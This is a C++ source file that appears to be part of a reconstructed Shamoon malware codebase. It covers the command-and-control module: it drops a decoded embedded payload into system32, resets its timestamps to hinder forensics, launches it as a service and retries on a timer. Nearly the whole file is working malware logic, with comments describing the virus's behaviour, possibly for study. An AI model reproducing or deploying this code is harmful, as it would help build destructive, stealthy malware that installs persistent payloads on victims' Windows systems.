// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "C2.h"

#include "..\Utils\String.h"
#include "..\Utils\System.h"
#include "..\Utils\Process.h"
#include "..\Utils\IO.h"
#include "..\Utils\General.h"

#include "Entry.h"
#include "Encryption.h"
#include "Handler.h"

using namespace Shamoon::Utils::IO;
using namespace Shamoon::Utils::System;
using namespace Shamoon::Utils::Process;
using namespace Shamoon::Utils::String;

using namespace Shamoon::Modules::Encryption;
using namespace Shamoon::Modules::Handler;
using namespace Shamoon::Modules::Entry;

bool Shamoon::Modules::C2::GetC2Specific(WCHAR *lpszFileName, WCHAR *lpszFilePath)
{
	// Get C&C filename
	M_STRING02(lpszFileName,
		
		C2_MODULE_NAME,
		L".exe"
	)
	
	// Get C&C absolute path
	M_STRING03(lpszFilePath,
		
		g_szWinDir,
		L"\\system32\\",
		lpszFileName
	)
	
	// Delete pre-existent module
	EXECUTE_WOW64_FILE_OPERATION(
		DeleteFileW(lpszFilePath);
	)
	
	return true;
}

bool Shamoon::Modules::C2::RunC2Service(const WCHAR *lpszCommand)
{
	WCHAR szSvcPath[256];
	
	// Get C&C process by ID (if it is already set) or by name
	g_dwC2_ID = SearchProcessByIdOrName(g_dwC2_ID, g_dwC2_Name);
	
	// If found, the service is already running
	if(g_dwC2_ID)
		return true;
	
	// Get the C2 filename and path
	if(!GetC2Specific(g_dwC2_Name, szSvcPath))
		return false;
	
	// Decode the C&C resource and writes the module in the absolute path
	// That's strange because if the virus is unable to write the C&C module, it returns true anyway
	if(!WriteEncodedResource(szSvcPath, 0, C2_RESOURCE_NR, C2_RESOURCE_NAME, g_keys[KEY_PKCS7], sizeof(g_keys[KEY_PKCS7])))
		return true;
	
	// Reset the file time
	SetReliableFileTime(szSvcPath);
	
	// Set the command passed in the command line
	if(lpszCommand)
	{
		_strinsW(szSvcPath, L" ", strlenW(szSvcPath));
		_strinsW(szSvcPath, lpszCommand, strlenW(szSvcPath));
	}
	
	// Clean the global variable ID
	g_dwC2_ID = 0;
	
	// Try to run the C&C service
	if(!StartServiceProcess(g_dwC2_Name, szSvcPath, &g_dwC2_ID))
		return false;
	
	// Service sucessfully started
	return true;
}

DWORD Shamoon::Modules::C2::ContactC2Server(LPVOID /*lpThreadParameter*/)
{
	// Thread sleep for 2~3 minutes
	SvcSleep(Shamoon::Utils::GetRandom() % 60 + 120);
	
	// The routine loops until the service has been sucessfully started
	while(!bSvcStopped)
	{
		// Macro to enter and leave critical section
		SYSTEM_CRITICAL_SECTION(
			// Try to run the C&C service
			RunC2Service(L"1");
		)
		
		// Thread sleep for 2~3 minutes
		SvcSleep(Shamoon::Utils::GetRandom() % 60 + 120);
	}
	
	return 0;
}